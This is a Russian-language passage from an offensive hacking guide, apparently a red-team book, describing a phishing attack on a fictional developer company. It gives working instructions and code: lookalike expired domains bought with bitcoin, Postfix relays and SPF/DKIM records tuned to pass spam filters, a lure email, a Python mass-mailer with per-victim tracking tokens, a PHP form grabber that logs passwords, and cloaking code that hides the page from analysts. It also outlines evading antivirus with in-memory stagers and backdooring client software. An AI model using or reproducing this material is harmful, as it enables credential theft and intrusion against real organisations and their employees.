Единственный надёжный способ обхода всех антивирусных решений - создать свой собственный дилижанс, вместо того, чтобы слепо полагаться на уже готового к применению мула из популярных инфраструктур C2, уже знакомых поставщикам антивирусов. Такой дилижанс (мул, stager) - это небольшой фрагмент кода, запускающий вредоносную программу целиком и в идеале он выполняет такое вредоносное ПО в памяти. Большинство антивирусных программ не утруждает себя сканированием того что происходит в оперативной памяти, а потому, запуская в памяти вредоносные программы мы в значительной степени обладаем возможностью внедрения всего что пожелаем, причём без обнаружения, в том числе обычные обратные оболочки Meterpreter и Empire. Небольшая загвоздка состоит в том, что, как мы вскоре обнаружим, именно инструменты нового поколения более толковы в этом деле.

[Замечание]
Замечание

Я имел беседу с инженерами ведущей антивирусной компании об этой проблеме исполнения в оперативной памяти, указывая им ни тот факт, что их последнее обновление по- прежнему не решает данную задачу. Их ответом были широко распахнутые, сверкающие глаза и агрессивное: "Но никто так не поступает!" Это не правда - а раз они этого не делают, то обязаны.

Пожинаем учётные данные

Признаюсь: по возможности я пытаюсь избегать ссылок на скачивание и в своих попытках фишинга. Люди куда охотнее вводят свои учётные данные для просмотра их корпоративной страницы (это одно действие), нежели для выгрузки файла, его открытия и соглашения с сообщением безопасности, которое обычно выдаётся современными операционными системами (три действия).

Более того, я обнаружил, что применение мулов, развёртываемых через скачивание или присоединения, создаёт слишком много шума. В зависимости от успеха нашей фишинговой компании мы можем получать сотню машин, которые пингуют один и тот же хост C2 на протяжении, как минимум, 24 часов. Такой тип обмена выделяется для любого приличного аналитика как больной палец. Некоторые аналитики даже способны автоматизировать правила корреляции для выявления в точности такого поведения. Наличие мула в рабочей станции также, в лучшем случае, не надёжно. Это лишает хакера большей части контроля и передаёт его непосредственно в руки своей жертвы; она способна выключить свою рабочую станцию, или перевести её в режим сна, потерять в лифте Wi-Fi или выполнить нечто ещё, отключающее этого мула.

Более того, чтобы мул был способен обеспечить надёжное сохранение, он обязан обладать возможностью быстрого осуществления таких действий как изменение разделов реестра, установку служб и тому подобного. Эти действия слишком заметны при первом погружении в неизвестную чужую среду.

Однако, если мы оглянемся назад к результатам рекогносцировки, выполненным в Выявление подчинённого домена, мы обнаружим, что у нас имеется жизнеспособная альтернатива отброса этапа мула, которая пользуется менее непосредственным подходом и потенциально предоставляет нам полную автономию над целевыми машинами: проникновение в веб- сайт объединяющей внешние филиалы сети (экстрасети).

Наша охота за подчинёнными доменами выявили службу экстрасети Strat Jumbo с адресом stratextranet.stratjumbo.com. Взглянув на полученный для этого сайта снимок экрана (Рисунок 3.3) мы замечаем, что этот сайт позволяет разработчикам с верными учётными данными подключаться к внутренним компьютерам, развёртывать код и просматривать изменения практически из любой точки мира. В действительности, именно это выступает одной из привлекательных особенностей Strat Jumbo для молодых странствующих программистов.

Рисунок 3.3

Загрузочная страница extranet Strat Jumbo

Нам всего лишь требуется получить пару допустимых имени пользователя и пароля. Фишинг и пароли - заключённый на небесах союз!

На данный момент наш полный план взлома - без учёта крупных сюрпризов - выглядит примерно так:

Через фишинг собрать учётные данные Strat Jumbo.

Подключиться к вебсайту экстрасети и получить контроль над нашей первой машиной.

Перепрыгнуть во внутреннюю сетевую среду и определить местоположение исходного кода программного обеспечения Strat Accounting.

Добавить некий потайной ход, который включится в рабочих станциях G&S Trust.

Терпеливо дождаться обратной оболочки.

Переместиться во внутреннюю сетевую среду, затем выявить место чувствительных данных и выполнить их выборку.

Наш следующий шаг далее состоит в ловле неких учётных данных. В своей следующей главе мы создадим достойную форму сбора учётных данных и добротную фишинговую платформу, которая обходит большинство современных спам- фильтров.

Глава 4. Совершенствуя западню

Содержание

Глава 4. Совершенствуя западню

Достаём домены из мусорной корзины

Манипулирование заголовками

Маршрутизация электронной почты

Настройка структуры политики отправителя

Выработка Общедоступного ключа для DKIM

Наживляем свой крючок

Собираем сайт

Отвлекаем аналитика

Охотимся на пользователя

Ресурсы

Настало время нашего исключительного фишингового электронного письма и получения списка потенциальных жертв. Прежде всего, нам требуется убедительный домен для выпуска своего электронного письма. Нам известно, что вновь зарегистрированный домен это красный флаг для борющихся со спамом инструментов. Раз мы не способны зарегистрировать новый домен из боязни обозначения спам фильтрами флагом в качестве подозрительного, как мы можем достичь этого? Жизнеспособным решением будет простое повторное применение старого домена.

Достаём домены из мусорной корзины

Вебсайт https://expireddomains.net/, что не удивительно, перечисляет предназначенные под захват домены с истекшими сроками. Для доступа с получением необходимого результата вам потребуется создать некую учётную запись. Нам требуется достичь тонкого баланса: нам нужен веб- сайт с имеющейся репутацией и историей в электронном мире, но который к тому же обладает неким отношением к Strat Jumbo на тот случай, если люди внимательно рассмотрят исходный адрес электронной почты. Итак, мы ищем в expireddomains.net домены, которые содержат stratjumbo. Рисунок 4.1 отображает наши результаты с некоторыми выделенными жизнеспособными вариантами.

Рисунок 4.1

Отклик на наш первый контакт через форму продаж Strat Jumbo

Несомненно, Stratjumbo.co.au является достойным претендентом, но у него нет обратных ссылок, что превращает его в уязвимый относительно проверок репутации спам- фильтрами. Обратные ссылки - это входящие с одного на другой сайт ссылки. Они часто применяются поисковыми системами инструментами репутации для количественной оценки популярности, а как следствие, и степени доверия к веб- сайту. Чем больше цитируется данный домен или чем больше на него ссылаются прочие веб- сайты, тем лучше его репутация. Поскольку на Stratjumbo.co.au отсутствуют обратные ссылки, лучше не пользоваться им для нашей фишинговой компании. Вместо этого мы можем воспользоваться им для размещения поддельного корпоративного веб- сайта, в котором мы будем предлагать пользователям вводить свои учётные данные.

Stratjumbotech.com, с другой стороны, просто великолепен: он обладает 11 обратными ссылками (6 из которых приходят из разных доменов), обладает названием, которое выглядит как слегка раскрученное и восходящее к 2011 году. Он также не выглядит как распространённый в чёрных списках, поскольку он не появляется в собираемых такими популярными инструментами как MxToolbox перечнями (см. Рисунок 4.2).

Рисунок 4.2

Проверка жизнеспособности домена в mxtoolbox.com на предмет подтверждения того, что stratjumbotech.com не представлен в распространённых чёрных списках.

[Замечание]
Конфиденциальные домены

Если бы мы выбрали доставку вредоносного программного обеспечения по ссылке из электронного письма, нам бы пришлось бы принять во внимание и другое измерение: категоризацию домена. Как уже упоминалось в Главе 3, некоторые компании будут воздерживаться от перехвата определённых действий сотрудников в Интернете, например, от доступа к медицинским или банковским учётным записям. Установление отличия между веб- сайтом здравоохранения и блога по йоге осуществляется корпоративным прокси- сервером HTTPS, перехватывающим действия пользователя в браузере. Если мы обнаружим переделанный домен, который когда- то относился к категории медицинских услуг или иных потенциально обладающих конфиденциальностью веб- сайтов, мы сможем обмануть свой осуществляющий перехват прокси- сервер и избавить свой обмен от любых проверок.

Значение категории домена ни в коей степени не является стандартным понятием и сильно зависит от применяемого целевой компанией веб- прокси. Однако, выбирая домены с бо́льшим числом обратных ссылок и содержащих очевидные ключевые слова, такие как "health" (здоровье), или же известные как название банка, мы существенно увеличиваем вероятность того, что наши электронные письма будут пропущены через установленный прокси без проверки. Например, на следующем рисунке показан домен с истекшим сроком SurvivingHealthy.com, который классифицируется как веб- сайт в отношении здоровья как для корпоративного прокси сервера McAfee , так и для прокси- сервера Symantec/Bluecoat.

Рисунок 4.2a

И снова, это не целиком надёжный метод обхода проверок перехвата SSL, но он сильно увеличивает шансы в нашу пользу.

Мы определили два перспективных домена: stratjumbotech.com для доставки электронной почты и tratjumbo.co.au для размещение поддельного веб- сайта. Сам сайт expireddomains.net не продаёт эти домены напрямую, но содержит перечень продавцов доменов, что отражено на Рисунке 4.3. Мы хотим, чтобы наши следы были скрыты при помощи криптовалюты, а из перечисленных продавцов лишь Namecheap принимает платежи в биткойнах, а потому мы идём к ним.

Рисунок 4.3

Выводим список продавцов домена

Для продолжения покупки этих двух доменов мы кликаем по Namecheap.com и далее выполняем доступ к панели управления Namecheap, как это отражено на Рисунке 4.4. Мы настраиваем тип A записи DNS, обеспечивая то, что stratjumbotech.com будет разрешать значение IP адреса пропаганды фишинга, который мы настроили в Главе 1 (скажем, 52.16.162.47), и мы добавляем запись CNAME для обработки также и классического префикса www. Записи CNAME в DNS выступают в роли псевдонимов (nickname): имени, которое указывает на другое имя. В данном случае, мы сообщаем запросам для www.stratjumbotech.com также направляться к stratjumbotech.com, который разрешается в наш IP адрес.

Рисунок 4.4

Панель управления DNS namecheap

У нас имеется домен с достаточной репутацией. Мы должны позаботиться ещё о чём- то?

Манипулирование заголовками

В добавок к самому домену, программное обеспечение борьбы со спамом будет оценивать репутацию электронной почты, просматривая ещё два компонента: заголовки и тело самого письма. Заголовки содержат метаданные, описывающие адреса электронной почты отправителя и получателя, промежуточные серверы ретрансляции, подпись электронной почты и тому подобное. Тело содержит сообщение электронной почты. Для проверки того, будет ли наша электронная почта запускать какое- то программное обеспечение для защиты от спама мы воспользуемся SpamAssassin, выполняющим обнаружение спама и предоставляющего отчёт о таком обнаружении электронной почты инструмента. SpamAssassin это известный проект Apache Software Foundation, который как и большинство проектов с открытым исходным кодом, был заимствован большим числом коммерческих продуктов. Он предоставит надёжный эталон тестирования нашей фишинговой компании.

К счастью, нам нет нужды настраивать ProtonMail с нуля; поставщик безопасной и зашифрованной электронной почты ProtonMail пользуется SpamAssassin в сочетании с коммерческими чёрными списками для сигнализации о мусорных электронных письмах. Это послужит исключительными страховочными колёсиками нашего велосипеда: мы просто будем отправлять тестовые фишинговые письма в созданную нами бесплатную учётную запись ProtonMail. Внутри ProtonMail ProtonMail подставить к подробностям письма заголовки для разных применяемых им проверок и тестов, а также выставит глобальную оценку для данного электронного письма.

Проверив в ProtonMail эти заголовки SpamAssassin, мы сможем регулировать своё электронное письмо фишинга на основе политики спама предприятия из реальной практики. К примеру, возьмём результаты случайного письма со спамом, приводимые в списке ниже с посредственной оценкой 23.7. Чтобы пройти тестирование на спам, эта оценка должна быть ниже 4.0, тем самым, данное письмо на 19.7 пунктов превышает пороговое значение:

Authentication-Results: mail7i.protonmail.cf; spf=none smtp.mailfrom:sender...
Authentication-Results: mail7i.protonmail.cf; dkim=none
X-Spam-Flag: YES
X-Spam-Status: Yes, score 23.7 required=4.0 tests=BAYES_99, BAYES_999,
GAPPY_SUBJECT,GENERIC_IXHASH,TVD_SPACE_RATIO,TVD_SPACE_RATIO_MINFP
HEADER_FROM_DIFFERENT_DOMAINS,HTML_MESSAGE,RCVD_IN_IVMSIP,SUBJ_ALL_CAPS,
T_LOTTO_AGENT_RPLY... version 3.4.0

Здесь имеет место большое число сокращений. Давайте рассмотрим несколько основных тестов и правил, которые SpamAssassin применил к заголовкам нашего электронного письма для получения столь высокого балла. Они специфичны для SpamAssassin, но эти подходы справедливы и для прочих спам- фильтров:

SPF=none Относится к отсутствию Sender Policy Framework (SPF). Это основной красный флаг для программного обеспечения выявления спама. SPF это запись DNS, описывающая какие серверы авторизованы на отправку электронной почты от имени данного доменного имени. Для обхода данного флага нам потребуется установить в Namecheap запись TXT DNS, которая в явном виде выполняет авторизацию нашего пропагандистского фишинга на отправку электронной почты от имени stratjumbotech.com.

DKIM=none Относится к отсутствию DomainKeys Identified Email (DKIM), некой записи DNS, которая хранит общедоступный ключ, применяемый для проверки подписи, которая гарантирует целостность данного письма. Таким образом, когда мы имеем целью снижение балла спама, нам требуется вырабатывать и сохранять общедоступный ключ в записи TXT DNS в Namecheap, а также настроить свой сервер электронной почты на автоматическую подпись всех исходящих электронных писем.

HEADER_FROM_DIFFERENT_DOMAINS Указывает на два различных поля "from" в данном электронном письме, а именно поле SMTP FROM и поле FROM, которые не указывают на одно и то же доменное имя (для снижения балла они оба обязаны указывать на один и тот же домен). Обычно это не проблема, пока мы не полагаемся на такого поставщика услуг электронной почты как Mailchimp или Amazon Simple Email Service (SES).

RCVD_IN_IVMSIP Указывает на то, что IP адрес пребывает в чёрных списках коммерческих перечней спама.

Это почти все существенные проверки, относящиеся к заголовкам электронного письма, которые нам необходимо преодолеть прежде чем запускать свою компанию фишинга.

[Замечание]
Замечание

Если вы решили воспользоваться платформой отсылки электронных писем, такой как Mailchimp или Amazon SES, вы получите интерфейс "указал и щёлкнул" для настройки всех обсуждённых здесь параметров, но какая забава в этом?

Маршрутизация электронной почты

Теперь, когда у нас имеется более ясная картина основных проверок на выполняемое программным обеспечением выявление спама, давайте настроим платформу фишинга, которая выполнит очистку под все такие проверки. Мы полагаемся на локальный почтовый сервер Postfix, установленный в обеих переадресующих машинах и в сервере фишинга для распространения наших электронных писем:

root@Phishing:~# apt-get install postfix
root@Phishing:~# service postfix restart
--
root@PhishingRelay:~# apt-get install postfix
root@PhishingRelay:~# service postfix restart

Сам процесс установки достаточно ясен на интуитивном уровне, однако если вы наткнётесь на какие- то трудности, проконсультируйтесь с руководством.

Все электронные письма будут отправляться с нашего сервера фишинга, но они обязательно будут проходить через Postfix на нашем ретрансляторе фишинга для маскировки своего первого IP адреса, что соответствует нашему подходу отказоустойчивости. Если Strat Jumbo заблокирует IP адрес нашего общедоступного переадресующего, нам всего лишь потребуется перенаправить свой обмен через другой иной ретранслятор Postfix, и всё готово.

Нам нужно настроить пару установок в своём файле настроек сервера электронной почты Postfix и выполнить следующее:

Указать Postfix на необходимость установления подключений TLS с получающими электронную почту серверами, когда это возможно. Например, Gmail при получении электронной почты по каналам без шифрования отображает небольшое предупреждение. Мы хотим избегать такие печальные сообщения.

Настроить значение имени хоста в stratjumbotech.com.

Позволить своему серверу фишинга применять этот экземпляр Postfix в качестве ретранслятора.

Мы настроим эти установки в своём общедоступном переадресующем ретрансляторе через его файл /etc/postfix/main.cf:

myhostname = stratjumbotech.com
mynetworks = <Outgoing_IP_Phishing_Server> 127.0.0.0/8
inet_interfaces = all
smtp_enforce_tls = yes
smtp_tls_security_level = encrypt

Соответственно, в файле /etc/postfix/main.cf нашего основного сервера Postfix мы укажем на своего общедоступного переадресующего в качестве сервера ретранслятора электронной почты и принудим его также к шифрованию:

# В нашем сервере фишинга

relayhost = 52.16.162.47
smtp_enforce_tls = yes
smtp_tls_security_level = encrypt

root@PhishingRelay:~# service postfix restart
--
root@Phishing:~# service postfix restart

Затем мы быстренько отправим тестовое электронное письмо в почтовый ящик перекидного контакта, который мы проверяем на обеспечение надлежащих настроек его службы. Заголовки данного электронного письма должны отображать лишь IP адрес ретранслятора:

root@Phishing:~# echo "This is the body of the email" \
| mail -s "This is the subject line" povoso1816@snece.com

Когда мы получим это электронное письмо, как и ожидалось, мы готовы продолжить свою маскировку.

[Замечание]
Замечание

Для удаления внутреннего IP адреса, скрывающегося в наших заголовках, следуйте этому простому руководству от майора Хайдена. В данном случае нам не нужно это делать, новы можете находить это полезным в иных ситуациях.

Настройка структуры политики отправителя

Настройка SPF на удивление проста: нам просто требуется добавить новую запись TXT DNS, которая выполняет авторизацию нашего общедоступного переадресующего ретранслятора (ip4:52.16.162.47) на отправку электронных писем от имени своего домена @stratjumbotech.com . Обратно к инструментальной панели Namecheap (Рисунок 4.5), где мы добавляем такую запись DNS:

v=spf1 ip4:52.16.162.47 -all

Параметр -all сообщает всем прочим отправителям что им надлежит отказывать в тесте SPF.

Рисунок 4.5

Настройка SPF в Namecheap

Дополнительно с параметрами SPF вы можете ознакомиться в RFC 7208.

Выработка Общедоступного ключа для DKIM

Настройка DKIM потребует слегка больших установок. В своём сервере фишинга мы установим OpenDKIM:

root@Phishing:~# sudo apt-get install opendkim opendkim-tools

OpenDKIM это реализация подписи DKIM с открытым исходным кодом, которая действует как некий вид фильтра в нашем сервере фишинга. Она перехватывает все исходящие электронные письма, подписывает их тело, а затем отправляет их получателям. Для начала мы заменим содержимое файла настроек /etc/opendkim.conf следующими строками, которые уточняют имя домена для подписи и значение местоположения его частного ключа, который будет создан через мгновение:

# В сервере фишинга (/etc/opendkim.conf)

Domain                  stratjumbotech.com
KeyFile                 /etc/opendkim/mail.private
Selector                mail

Затем мы настроим тот порт, по которому OpenDKIM получает исходящие электронные письма для подписи обновляя его файл /etc/default/opendkim следующим образом:

# На стороне сервера фишинга (/etc/default/opendkim)

#SOCKET="local:/var/run/opendkim/opendkim.sock"

SOCKET="inet:12301@localhost"

Убедимся что мы скрыли комментарием свой файл локального сокета. Далее мы инструктируем Posix ретранслировать все исходящие почтовые сообщения в наш демон DKIM определив применяемый OpenDKIM номер порта (12301 для нашего файла настроек) в /etc/postfix/main.cf. Мы добавляем следующие строки:

# На стороне сервера фишинга (/etc/postfix/main.cf)

milter_protocol = 2
milter_default_action = accept
smtpd_milters = inet:localhost:12301
non_smtpd_milters = inet:localhost:12301

Наконец, мы переходим к своему каталогу /etc/opendkim/, который выступает тем местом, где вырабатывается и сохраняется общедоступный ключ нашего домена:

root@Phishing:~# cd /etc/opendkim/
root@Phishing:~# opendkim-genkey -s mail -d stratjumbotech.com
root@Phishing:~# chown opendkim:opendkim mail.private

Эти команды создают пару из общедоступного ключа mail.txt и частного ключа mail.private, выделенных для пользователя OpenDKIM. Последний это тот же самый ключ, на который мы ссылались ранее в /etc/opendkim.conf.

Наш общедоступный ключ mail.txt публикуется в записи TXT DNS, которую мы настраиваем в своей инструментальной панели Namecheap (Рисунок 4.6).

Рисунок 4.6

Добавление записи DKIM DNS в Namecheap

ПАосле выполнения этих настроек мы перезапускаем в своём сервере фишинга OpenDKIM и Postfix:

root@Phishing:~# service postfix restart
root@Phishing:~# service opendkim restart

Мы можем проверить свою окончательную конфигурацию нашего сервера электронной почты отправив тестовое письмо практически в любую службу электронной почты (Gmail, ProtonMail, Yahoo, Yandex и тому подобные) и просматривая получаемые заголовки электронных писем:

Authentication-Results: mail7i.protonmail.cf; spf=pass smtp.mailfrom:sender...
Authentication-Results: mail7i.protonmail.cf; dkim= pass (2048-bit key)
X-Spam-Status: No, score -0.1 required=4.0 tests=DKIM_SIGNED,DKIM_VALID,
 DKIM_VALID_AU, SPF_PASS

Прекрасно! SpamAssassin предоставляет нам низкий бал - 0.1, указывающий что наш почтовый сервер достаточно хорошо настроен для начала чистой фишинговой компании.

Теперь мы перейдём к реальному содержимому своего электронного письма.

Наживляем свой крючок

Работники Strat Jumbo это в основном разработчики, а потому нам следует выбрать предмет, которым потенциально будет завлечён программист. Нам требуется нечто, что временно эмоционально увлечёт их, но это будет полностью забыто в тот момент, когда они закроют этот веб- сайт.

Как насчёт нового подключаемого модуля, разработанного австралийской командой Strat Jumbo, поскольку мы будем размещать свой поддельный веб- сайт в домене co.au, который обладает сходством с com.au? Мы сообщим, что бета- версия подключаемого модуля доступна для прочих офисов.

Нам не нужно чересчур вдаваться в детали, а просто попросить их оставить отзыв о данном подключаемом модуле. Мы находим имя настоящего разработчика в LinkedIn и выбираем близкое к этому имя, чтобы ещё больше наплести свою прочную паутину обмана. Вот наш черновик:

Hello,

As some of you probably know, our teams in Australia have been
working on an exciting new linter for our favorite IDE.

Today we would like to share a beta version of this plugin
with your offices, so feel free to give it a spin and give us your
feedback:

Hero plugin

Kind regards,

Michael Han

Senior programmer
T +61 02 9912 3981

Как видите, этот текст вполне уместен, не перегружен знаками пунктуации и не содержит скрытых ссылок или текста в верхнем регистре с призывами щёлкнуть по ссылке. Вместо этого, он небрежно предлагает кликнуть и загрузить подключаемый модуль, применяя простой и логичный язык.

Код изображения в подписи служит не только для отображения логотипа компании и заверения пользователей в её подлинном происхождении. Он также позволяет отслеживать сколько людей открыло данное сообщение: всякий просматривающий данное сообщение получает данное изображение с нашего фишингового сервера через его общедоступный ретранслятор.

За сценой, имеется код HTML, который вставляет изображение и читаемый следующим образом:

<img src="https://www.stratjumbo.co.au/static/img/logo.png" alt="strat jumbo logo" />

Также мы будем пользоваться электронной почтой для персонализации целевой страницы нашего фишингового сайта. Содержащаяся в нашем электронном письме ссылка содержит уникальный тег для каждого электронного письма для отслеживания целей если они переходят на нашу страницу. Вот один образец:

https://www.stratjumbo.co.au/plugin-corporate-offer/?utm_term=FAgUHRNXNj06FjtM

Казалось бы, произвольный объект данных FAgUHRNXNj06FjtM в нашем параметре utm_term является зашифрованным именем нашей цели. Когда этот пользователь кликнет на данную ссылку и будет переправлен на нашу страницу фишинга, это зашифрованное имя позволяет нам предоставлять какую- то персонализацию приветствия наподобие "Welcome Steve", которое обманывает их, заставляя полагать, что данный веб- сайт неким образом обладает доступ к их личности через обычный корпоративный каталог пользователей.

Для выработки такого токена из конкретного имени мы воспользуемся простой операцией XOR в Python к полному имени перед отправкой данного электронного письма:

def xor_string(data):
    key = b"PibtwweIOwI8S6VElRHpm4w4L6vFYJWkPzxITZ5BRo"
    xored = bytes([a ^ b for a, b in zip(key, data.encode())])

    return base64.encodestring(xored).strip().decode()

Получение реальных имён сотрудников это несложная часть и мы займёмся таким получением перечня позднее. А пока давайте допустим что мы собрали такой список.

Нам требуется быстрый и подлый сценарий, который в цикле будет обходить по имеющемуся списку имена сотрудников, создавать персональную ссылку через вызов функции xor_string, включать эту ссылку в соответствующее электронное письмо и отправлять такое письмо через локальный сервер Postfix, который мы создали ранее. Приводимый в Листинге 4.1 код обладает интенсивными комментариями и достаточно прост, так что не поленитесь вникнуть в него.

Листинг 4.1. Сценарий Python для создания и отправки нашего фишингового электронного письма

#!/usr/bin/python3

import smtplib, time, base64
from email.message import EmailMessage

# Включаем предыдущую функцию xor_string
def xor_string(data):
  pass

# Шаблон электронного письма с логотипом компании
email_template = """\
Hello,
--snip--
<a href='....?utm_term={0}'></a>
--snip--
"""

# В качестве входных данных мы берём список имён
with open("list_names.txt") as f:
  for target in f:
    target = target.strip()

    # Собираем шифрованный объект utm_term
    encrypted_name = xor_string(target)

    # Создаём контейнер сообщения
    msg = EmailMessage()
    msg["Subject"] = "Beta linter for our IDE"
    msg["From"] = '"Michael Han" <michael.han@stratjumbotech.com>'
    msg["To"] = target + "@stratjumbo.com"

    # Создаём тело своего электронного письма
    body = email_template.format(encrypted_name)
    msg.add_alternative(body, subtype="html")

    with smtplib.SMTP("localhost") as s:
      s.send_message(msg)

    time.sleep(2)

Мы выполняем несколько проверочных прогонов на адресах Gmail и Outlook чтобы убедиться что мы преодолеваем их спам- фильтры. Если ваше электронное письмо не попадает в папку inbox, обычно это означает что либо было неверно выбрано доменное имя, либо сама формулировка этого письма была сочтена подозрительной. Рейтинг спама взлетает ракетой при наличии таких фраз как free, click here, big opportunity и аналогичные.

Никогда не забывайте регистрировать адрес почты источника (в данном случае michael.han@stratjumbotech.com чтобы допускать ответы. Это столь же просто как установить параметр переадресации в вашем поставщике DNS на допустимый электронный почтовый ящик (proton.mail.com, mailfence.com, yopmail.com или любой иной применяемый вами). Это и в самом деле окажется пустой тратой времени на все данные затруднения только потому что оказавшиеся достаточно требовательные пользователи, озаботившиеся ответом, получили бы сообщение об ошибке в котором бы говорилось, что данный адрес электронной почты не был зарегистрирован.

Далее мы сосредоточимся на настройке своего веб- сайта, которому этот персонал доверит свои учётные данные.

Собираем сайт

Мы хотим спроектировать выглядящий легитимным вебсайт, который одурачил бы наиболее любопытных криминалистов. Лишь одна скрытая страница будет содержать нашу форму захвата паролей, которая обманом принуждает пользователей выдавать свои пароли. Мы озаглавим свой сайт Strat Jumbo Technology.

Мы настроим веб- сайт WordPress с базовой темой, которая в значительной степени вдохновлена цветовой палитрой Strat Jumbo. Следуйте официальному руководству WordPress. если вы ещё не знакомы с процессом его установки.

Самый быстрый и простой способ достижения высокой точности состоит в заходе на один из веб- сайтов Strat Jumbo при помощи инструментария HTTrack. Я склонен следовать подходом с большим объёмом работы вручную. В конце концов, не существует двух веб- сайтов, абсолютно похожих друг на друга и можно позволять себе некоторые вольности тут и там.

Тем не менее, имеются некоторые ключевые переменные официальной площадки, которые обязаны оставаться абсолютно неизменными, потому как они непосредственно обращаются к бессознательному восприятию сознанием. К ним относятся согласованность в цветовой схеме, семействе шрифтов, тональности диалогов, межбуквенных интервалов, толщины строк и стиля изображений. Если мы сделаем всё верно, мы обманем большинство пользователей в том, что заставим их полагать, что они пребывают на надёжном корпоративном веб- сайте. Мы представим свой поддельный веб- сайт в качестве некого маркетингового блока, применяемого руководством для обмена последними бета- версиями подключаемых модулей, обсуждения функциональных возможностей IDE и повышения имиджа Strat Jumbo. Если задуматься, ни один из сотрудников не знаком со всеми своими корпоративными веб- сайтами. Проклятье, даже ИТ администраторам трудно уследить за появлением и исчезновением корпоративных сайтов в маркетинговых инициативах.

Чтобы сделать его ещё более достоверным, мы берём несколько статей о программировании и загружаем их на свой веб- сайт (Рисунок 4.7), подписывая их законными именами сотрудников, которые мы получаем с LinkedIn.

Рисунок 4.7

Уловка для программистов

В разгар всей этой шарады мы добавляем одну скрытую страницу, которая заявляет о новом подключаемом модуле и для загрузки указанного подключаемого модуля предлагает пользователям пройти аутентификацию, воспользовавшись своими корпоративными учётными данными. Заметьте, ничего особенного; основная часть убеждения уже была осуществлена при помощи нашего электронного письма и представленных шаблонов веб- сайта. Мы добавляем персональное приветственное сообщение, отображаемое в в правом верхнем углу Рисунка 4.8. Мы даже предварительно заполняем его именем свою форму аутентификации. Это послужит небольшим толчком, требующимся для того, чтобы скинуть нашу цель со скалы.

Рисунок 4.8

Изысканный запрос учётных данных

Естественно, в действительности у нас нет подключаемого модуля для них, поэтому, когда наша невольная жертва вводит свои учётные данные, мы возвращаем сообщение о том, что этот подключаемый модуль скоро будет доступен для их страны. Сам серверный код обработки вводимых учётных данных представляет собой простой перехват формы (Листинг 4.2), который записывает учётные данные в обычный текстовый файл и отправляет ответ.

Листинг 4.2. Перехватчик формы для захвата и сохранения учётных сведений

// Когда регистрационные имя и пароль имеются и они не пустые
if (isset($_POST['login']) and $_POST['password']
    and !empty($_POST['login'])
    and !empty($_POST['password'])){

// Отобразить сообщение об ошибке и затем записать учётные данные в файл
    echo "The plug-in will be available in a couple of days in your region, please come back soon!";

    $data = $_POST['login']."\t".$_POST['password']."\n";

    file_put_contents('/tmp/results.txt', $data, FILE_APPEND);
}

[Замечание]
Замечание

Для написания кода в постах и на страницах WordPress пользуйтесь подключаемым модулем insert_php.

Хотя в большинстве случаев данная настройка сработает, достаточно лишь одного подозрительного программиста чтобы он переслал своему приятелю- аналитику и вся компания целиком обречена. Как мы можем защититься?

Отвлекаем аналитика

Дабы подозрительные аналитики не заметили нашего сайта и не разоблачили наше прикрытие, мы добавим небольшую диверсию: загрузочный код, который следует некой основной логике чтобы решать отображать нашу фишинговую страницу или нет.

Всякий получивший наше фишинговое письмо намеренно получает уникальный URL- адрес нашей секретной страницы благодаря своему зашифрованному имени, включаемому в параметр utm_term. Мы можем предположить, что в большинстве случаев пользователи сразу же последуют своему побудительному импульсу немедленно щёлкнуть ссылку и не будут задумываться об этом снова, поэтому адрес URL для каждого пользователя будет предусмотрен лишь один раз. Это предположение мы можем перевести в свой код и автоматически изменять содержимое страницы когда один и тот же адрес URL просматривается более одного раза - например, любопытным аналитиком, которому подозрительный пользователь переслал своё полученное им электронное письмо.

Естественно, эта небольшая уловка слегка снижает вероятность получения учётных данных пользователя, ибо упустивший свою возможность ввести пароль пользователь больше не будет иметь доступа к такой странице, но повышение безопасности того стоит.

Для выполнения данной уловки мы сначала создадим таблицу SQL с четырьмя столбцами: идентификатор строки, значение токена utm_term, которое представляет собой зашифрованное имя цели, счётчик посещений и, наконец, дата первого визита.

Всякий раз когда пользователь загружает свою страницу, мы проверяем значение поля счётчика, связанное с уникальным параметром utm_term. Если оно больше 1, мы можем быт уверены, что этот пользователь уже взаимодействовал со своей фишинговой страницей, а следовательно, безопасно перенаправить его на его домашнюю страницу. Вот код SQL для создания необходимой схемы таблицы и загрузки зашифрованных токенов:

root@Phishing:~# mysql -u root -p
mysql> CREATE TABLE tokens (
id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
utmterm VARCHAR(100) NOT NULL,
counter smallint,
updated_at datetime
);
mysql> INSERT into tokens values(null, "FAgUHRNXNj06FjtM", 0, null);
mysql> INSERT into tokens values(null, "AwgQFR9XITw7AyBdIQ==", 0, null);
--snip--

Отлично, теперь у нас имеется база данных, нагруженная зашифрованными токенами, готовыми отслеживать кто именно посетил данную страницу и когда он это совершил.

Затем нам потребуется загрузочный код PHP. Он проверит такую базу данных SQL на предмет того какой именно вид действий надлежит выполнять при каждом запросе этой страницы. Когда страница уже была посещена данным пользователем (счётчик > 0), он загружает фиктивное содержимое, которое имеет в точности такую же длину, что и форма для захвата пароля. Если же пользователь ещё не посещал данную страницу, обслуживается фактическая страница фишинга.

Я избегаю применения переадресаций когда пользователи в явном виде не вмешиваются в параметры, что указывает на то, что они, скорее всего, являются аналитиками. Потенциально, просматривающий данные прокси- сервера аналитик способен выявить несоответствие между успешно загрузившими страницу в первый раз (код HTTP 200) пользователями и теми же самыми пользователями, которые получили отказ при повторном её визите (код HTTP 302). Затем они способны сделать вывод, что на стороне такого сервера имеется некий механизм фильтрации, а тем самым получить стимул к дальнейшему расследованию.

Листинг 4.3. отображает такой код PHP.

Листинг 4.3. PHP определения того должен ли пользователь обслуживаться нашей страницей фишинга или перенаправляться на свою домашнюю страницу.

// Когда токен utm_term отсутствует или он пустой, перенаправляем на основную страницу
if (!isset($_GET['utm_term']) or empty($_GET['utm_term'])){
    header('Location: /');
}

// Устанавливаем подключение к MySQL
$db = new PDO('mysql:host=localhost;dbname=catalog_db3;charset=utf8mb4', 'wp_user',
'Kja98&o:Lkaz098');

// Выполняем выборку значения поля счётчика попыток обращения к этому параметру utm_term в базе данных
$stmt = $db->prepare("SELECT * FROM tokens WHERE utmterm=:utmterm");
$stmt->execute(array(":utmterm"=> $_GET['utm_term']));
// If page viewed first time display earlier form
if ($row = $stmt->fetch(PDO::FETCH_ASSOC)
    and $row['counter'] == 0) {

    // ВСТАВКА ИЗ КОДА ЗАХВАТА из Листинга 4.2
    // Увеличиваем значение того счётчика, который отображается в данный момент
    $stmt2 = $db->prepare("UPDATE tokens set counter = 1, reg_date=NOW() WHERE utmterm=:utmterm");

    $res = $stmt2->execute(array(":utmterm"=> $_GET['utm_term']));
